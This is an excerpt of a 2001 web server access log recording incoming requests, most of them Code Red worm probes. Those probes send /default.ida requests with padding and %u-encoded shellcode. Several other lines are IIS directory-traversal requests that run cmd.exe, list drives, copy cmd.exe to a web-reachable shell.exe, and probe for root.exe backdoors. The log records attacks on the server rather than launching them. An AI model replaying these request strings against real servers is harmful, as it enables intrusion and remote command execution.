  1236. 20010904 14:22:04:  [61.150.137.4] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1237. 20010904 16:19:54: curta.cc.columbia.edu [128.59.39.150] "GET /NULL.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=X HTTP/1.1"
  1238. 20010904 16:45:56: yogh.cc.columbia.edu [128.59.39.11] "GET / HTTP/1.0"
  1239. 20010904 16:50:43: yogh.cc.columbia.edu [128.59.39.11] "GET / HTTP/1.0"
  1240. 20010904 17:04:36: syru219-194.syr.edu [128.230.219.194] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1241. 20010904 20:26:46: bootp-141-225.bootp.Virginia.EDU [128.143.141.225] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1242. 20010904 21:35:11: 61-218-143-202.HINET-IP.hinet.net [61.218.143.202] ""
  1243. 20010904 23:03:55: r62h59.res.gatech.edu [128.61.62.59] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1244. 20010905 00:00:20:  [211.101.197.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1245. 20010905 00:26:41: *216.205.78.34:4445 [] ""
  1246. 20010905 04:48:12: oilers.bli.uci.edu [128.200.57.154] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1247. 20010905 05:18:01:  [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1248. 20010905 05:29:46:  [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1249. 20010905 05:33:29:  [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1250. 20010905 05:38:30:  [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1251. 20010905 05:40:51:  [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1252. 20010905 07:04:38: lucre.tcom.purdue.edu [128.211.159.13] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1253. 20010905 10:50:25: tletl.ics.uci.edu [128.200.38.187] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1254. 20010905 11:00:39:  [213.26.56.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1255. 20010905 13:47:16: dynamic-33-244.dyn.columbia.edu [128.59.33.244] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1256. 20010905 13:52:40: bus205-235.gsb.columbia.edu [128.59.205.235] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1257. 20010905 14:06:21: bus205-235.gsb.columbia.edu [128.59.205.235] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1258. 20010905 14:59:14: bus205-235.gsb.columbia.edu [128.59.205.235] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1259. 20010905 15:01:42: ksgb065.harvard.edu [128.103.192.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1260. 20010905 16:02:58: webserver.islamicb2b.com [] ""
  1261. 20010905 16:32:20:  [64.224.117.161] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\shell.exe"
  1262. 20010905 17:16:50:  [61.174.140.192] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1263. 20010905 19:08:40: w2kdc1.jpl.nasa.gov [128.149.143.204] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1264. 20010905 20:13:48:  [217.59.3.235] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1265. 20010905 22:08:33: buzz.Colorado.EDU [128.138.129.23] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1266. 20010906 01:03:40: 61.141.GD.CN [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1267. 20010906 03:29:09:  [128.238.147.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1268. 20010906 06:13:40: mail.hemsleyfraser.co.uk [195.166.25.212] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1269. 20010906 07:17:01: 194-208-242-010.TELE.NET [194.208.242.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1270. 20010906 13:32:17: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1271. 20010906 15:32:25:  [128.164.205.94] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1272. 20010906 15:52:06: ap_tp_acs17_051.ap.infosel.net.mx [148.246.43.56] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1273. 20010906 16:04:32: dynamic-31-211.dyn.columbia.edu [128.59.31.211] "GET / HTTP/1.1"
  1274. 20010906 16:16:50: c1841195-a.plstn1.sfba.home.com [24.12.46.110] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1275. 20010906 19:01:45:  [202.155.120.181] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1276. 20010906 23:29:25:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1277. 20010906 23:29:49:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\+/a HTTP/1.1"
  1278. 20010906 23:30:08:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:\+/a HTTP/1.1"
  1279. 20010906 23:30:27:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+e:\+/a HTTP/1.1"
  1280. 20010906 23:30:46:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+f:\+/a HTTP/1.1"
  1281. 20010906 23:31:04:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+g:\+/a HTTP/1.1"
  1282. 20010906 23:31:23:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+h:\+/a HTTP/1.1"
  1283. 20010906 23:31:42:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+i:\+/a HTTP/1.1"
  1284. 20010906 23:32:00:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+j:\+/a HTTP/1.1"
  1285. 20010906 23:32:19:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+k:\+/a HTTP/1.1"
  1286. 20010906 23:32:38:  [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+l:\+/a HTTP/1.1"
  1287. 20010906 23:32:56:  [64.224.2.35] "GET /msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1288. 20010906 23:33:15:  [64.224.2.35] "GET /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1289. 20010906 23:33:34:  [64.224.2.35] "GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1290. 20010906 23:33:52:  [64.224.2.35] "GET /msadc/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1291. 20010906 23:34:11:  [64.224.2.35] "GET /_vti_bin/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1292. 20010906 23:34:29:  [64.224.2.35] "GET /scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1293. 20010906 23:34:48:  [64.224.2.35] "GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1294. 20010906 23:35:07:  [64.224.2.35] "GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1295. 20010906 23:35:25:  [64.224.2.35] "GET /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1296. 20010906 23:35:44:  [64.224.2.35] "GET /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1"
  1297. 20010906 23:36:03:  [64.224.2.35] "GET /scripts/root.exe?/c+dir HTTP/1.1"
  1298. 20010906 23:43:21:  [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
